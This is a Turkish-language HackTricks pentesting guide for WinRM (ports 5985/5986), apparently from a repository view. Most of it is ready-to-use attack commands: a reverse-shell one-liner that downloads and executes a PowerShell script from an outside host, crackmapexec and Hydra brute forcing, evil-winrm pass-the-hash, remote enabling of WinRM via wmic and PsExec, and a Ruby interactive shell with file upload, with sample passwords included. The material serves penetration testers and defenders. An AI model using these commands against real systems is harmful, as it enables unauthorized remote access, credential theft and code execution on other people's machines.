hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2024-02-10 18:14:16 +00:00

20 KiB
Raw Blame History

5985,5986 - WinRM Pentesting

AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşim kurun

Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin

En Son Duyurular
Yeni ödül avcılarının başlatıldığı ve önemli platform güncellemelerinin olduğu en yeni duyurularla bilgilenin

Bize katılın Discord ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!

WinRM

Windows Uzak Yönetimi (WinRM), Microsoft tarafından vurgulanan bir protokoldür ve HTTP(S) üzerinden SOAP kullanarak Windows sistemlerinin uzaktan yönetimini sağlar. Temel olarak WMI tarafından desteklenir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.

Bir makinede WinRM'nin bulunması, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer şekilde PowerShell aracılığıyla kolay bir uzaktan yönetim sağlar. WinRM'nin çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığının kontrol edilmesi önerilir:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Yukarıdaki listeden açık bir port, WinRM'nin kurulduğunu ve dolayısıyla uzaktan oturum başlatma girişimlerine izin verildiğini gösterir.

WinRM Oturumu Başlatma

PowerShell'i WinRM için yapılandırmak için Microsoft'un Enable-PSRemoting cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul etmek üzere ayarlar. Yükseltilmiş PowerShell erişimi ile aşağıdaki komutlar kullanılarak bu işlevsellik etkinleştirilebilir ve herhangi bir ana bilgisayarı güvenilir olarak belirlenebilir:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Bu yaklaşım, trustedhosts yapılandırmasına bir joker karakter eklemeyi içerir. Bu adım, sonuçlarından dolayı dikkatli bir şekilde düşünülmesi gereken bir adımdır. Ayrıca, saldırganın makinesinde ağ türünün "Public"den "Work"e değiştirilmesi gerekebileceği belirtilmektedir.

Ayrıca, WinRM, aşağıdaki gibi gösterildiği gibi wmic komutu kullanılarak uzaktan etkinleştirilebilir:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Bu yöntem, Windows makinelerini uzaktan yönetme esnekliğini artırarak WinRM'nin uzaktan kurulumuna izin verir.

Yapılandırıldığı Test Edilir

Saldırı makinenizin yapılandırmasını doğrulamak için Test-WSMan komutu kullanılır ve hedefin WinRM'nin düzgün bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol sürümü ve wsmid hakkında ayrıntılar almanız beklenir. Aşağıda, yapılandırılmış bir hedefe karşı yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:

  • Doğru şekilde yapılandırılmış bir hedef için çıktı aşağıdaki gibi olacaktır:
Test-WSMan <target-ip>

Aşağıdaki yanıt, protokol sürümü ve wsmid hakkında bilgi içermeli ve bu, WinRM'nin doğru şekilde yapılandırıldığını göstermelidir.

  • Tersine, WinRM için yapılandırılmamış bir hedef için ayrıntılı bilgi olmadan sonuçlanır, bu da uygun bir WinRM yapılandırmasının olmadığını vurgular.

Bir komutu çalıştırma

Bir hedef makinede uzaktan ipconfig komutunu çalıştırmak ve çıktısını görüntülemek için şunu yapın:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Ayrıca, mevcut PS konsolunuzda bir komutu Invoke-Command ile çalıştırabilirsiniz. Diyelim ki yerel olarak enumeration adında bir fonksiyonunuz var ve bunu uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz, şunu yapabilirsiniz:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

To execute a script on a target machine using WinRM, you can use the Invoke-Command cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.

Here is an example of how to execute a script using WinRM:

Invoke-Command -ComputerName <target_ip> -ScriptBlock { <script_content> }

Replace <target_ip> with the IP address of the target machine and <script_content> with the actual content of your script.

Make sure that WinRM is enabled on the target machine and that you have the necessary permissions to execute scripts remotely.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Ters kabuk alın

WinRM, Windows işletim sistemlerinde uzaktan yönetim sağlayan bir protokoldür. WinRM, birçok farklı işletim sistemi sürümünde varsayılan olarak etkinleştirilmiştir ve genellikle 5985 ve 5986 numaralı bağlantı noktalarını kullanır.

WinRM üzerinde ters kabuk almak için aşağıdaki adımları izleyebilirsiniz:

  1. İlk olarak, hedef Windows makinesine erişiminiz olmalıdır. Bu, hedef makineye doğrudan fiziksel erişim, aynı ağda bulunan bir makineden erişim veya hedef makineye bir exploit kullanarak erişim sağlamak olabilir.

  2. WinRM'yi kullanarak ters kabuk almak için, hedef makinede WinRM hizmetinin etkinleştirilmiş olması gerekmektedir. Eğer etkinleştirilmemişse, hedef makinede WinRM hizmetini etkinleştirmeniz gerekecektir.

  3. Ters kabuk almak için bir payload oluşturmanız gerekmektedir. Bu, genellikle bir ters kabuk payloadu oluşturan bir araç kullanılarak yapılır. Örneğin, Metasploit Framework veya PowerShell Empire gibi araçlar kullanılabilir.

  4. Oluşturulan payload, hedef makineye gönderilmelidir. Bu, bir exploit kullanarak veya başka bir yöntemle yapılabilir.

  5. Hedef makinede payload çalıştırıldığında, ters kabuk otomatik olarak oluşturulacak ve saldırganın kontrol paneline bağlanacaktır.

Ters kabuk alma işlemi, hedef makinedeki yetkilendirme düzeyine bağlı olarak farklı şekillerde gerçekleştirilebilir. Örneğin, hedef makinede yönetici ayrıcalıklarına sahipseniz, tam yetkiyle çalışan bir ters kabuk alabilirsiniz. Ancak, sınırlı bir kullanıcı hesabıyla çalışıyorsanız, sınırlı yetkilere sahip bir ters kabuk almanız gerekecektir.

Ters kabuk alma işlemi, yasal ve etik sınırlar içinde gerçekleştirilmelidir. Sadece yetkilendirilmiş sistemlerde ve izin alınmış ağlarda kullanılmalıdır. Aksi takdirde, yasal sonuçlarla karşılaşabilirsiniz.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Bir PS oturumu alın

Etkileşimli bir PowerShell kabuğu almak için Enter-PSSession komutunu kullanın:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Oturum, "hedef" içinde yeni bir işlemde (wsmprovhost) çalışacak

WinRM'yi Zorlama

PS Remoting ve WinRM'yi kullanmak için bilgisayar yapılandırılmamış olsa bile, aşağıdaki komutu kullanarak etkinleştirebilirsiniz:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Oturumları Kaydetme ve Geri Yükleme

Bu, uzak bilgisayarda dil sınırlaması varsa çalışmayacaktır.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Bu oturumlar içinde Invoke-Command kullanarak PS komut dosyalarını yükleyebilirsiniz.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Hatalar

Aşağıdaki hatayı bulursanız:

enter-pssession : Uzak sunucuya 10.10.10.175 bağlantısı aşağıdaki hata ile başarısız oldu: WinRM istemcisi isteği işleyemez. Kimlik doğrulama şeması Kerberos'tan farklı ise veya istemci bilgisayarı bir etki alanına katılmamışsa, HTTPS taşıması kullanılmalı veya hedef makine Güvenilen Ana Makineler yapılandırma ayarına eklenmelidir. Güvenilen Ana Makineler listesindeki bilgisayarlar kimlik doğrulanmayabilir. Bu konuda daha fazla bilgi almak için aşağıdaki komutu çalıştırarak daha fazla bilgi alabilirsiniz: winrm help config. Daha fazla bilgi için about_Remote_Troubleshooting Yardım konusuna bakın.

İstemci üzerinde deneyin (buradan bilgi alınmıştır):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Deneyimli hackerlar ve hata ödül avcılarıyla iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşim kurun

Gerçek Zamanlı Hack Haberleri
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın

En Son Duyurular
Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgilendirilin

Bize Discord üzerinden katılın ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!

Linux'ta WinRM bağlantısı

Brute Force

Dikkatli olun, winrm brute force saldırıları kullanıcıları engelleyebilir.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

evil-winrm Kullanımı

evil-winrm, Windows Remote Management (WinRM) protokolünü kötü niyetli amaçlarla kullanmak için kullanılan bir araçtır. Bu araç, bir hedef Windows makinesine yetkisiz erişim sağlamak için kullanılabilir.

Kurulum

evil-winrm'yi kullanmak için öncelikle Ruby programlama dilini ve gerekli bağımlılıklarını kurmanız gerekmektedir. Ardından, evil-winrm'yi Ruby Gem paket yöneticisi aracılığıyla yükleyebilirsiniz.

gem install evil-winrm

Kullanım

evil-winrm'yi kullanarak hedef bir Windows makinesine bağlanmak için aşağıdaki komutu kullanabilirsiniz:

evil-winrm -i <hedef_IP_adresi> -u <kullanıcı_adı> -p <parola>

Bu komutu çalıştırdıktan sonra, hedef Windows makinesine bağlanacak ve bir komut istemi alacaksınız. Artık hedef makine üzerinde komutlar çalıştırabilir ve sistemde istediğiniz değişiklikleri yapabilirsiniz.

Örnek Kullanım

Aşağıdaki örnek, evil-winrm'yi kullanarak hedef bir Windows makinesine bağlanmayı göstermektedir:

evil-winrm -i 192.168.1.10 -u administrator -p P@ssw0rd

Bu komutu çalıştırdıktan sonra, hedef Windows makinesine bağlanacak ve administrator kullanıcısıyla oturum açacaksınız. Artık hedef makine üzerinde komutlar çalıştırabilir ve sistemde istediğiniz değişiklikleri yapabilirsiniz.

gem install evil-winrm

Dökümantasyonu GitHub üzerinden okuyun: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

IPv6 adresi ile bağlantı kurmak için evil-winrm kullanmak için, bir etki alanı adını IPv6 adresine ayarlayan bir giriş oluşturun ve o etki alanına bağlanın.

evil-winrm ile hash geçirme

evil-winrm -u <username> -H <Hash> -i <IP>

Bir PS-docker makinesi kullanma

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Bir ruby betiği kullanarak

Kod buradan alınmıştır: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Referanslar

HackTricks Otomatik Komutları

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanına ve zorluklarına dalmış içeriklerle etkileşim kurun

Gerçek Zamanlı Hack Haberleri
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın

En Son Duyurular
Yeni ödül avcılarının başlatılması ve önemli platform güncellemeleri hakkında bilgi edinin

Bize katılın Discord ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları: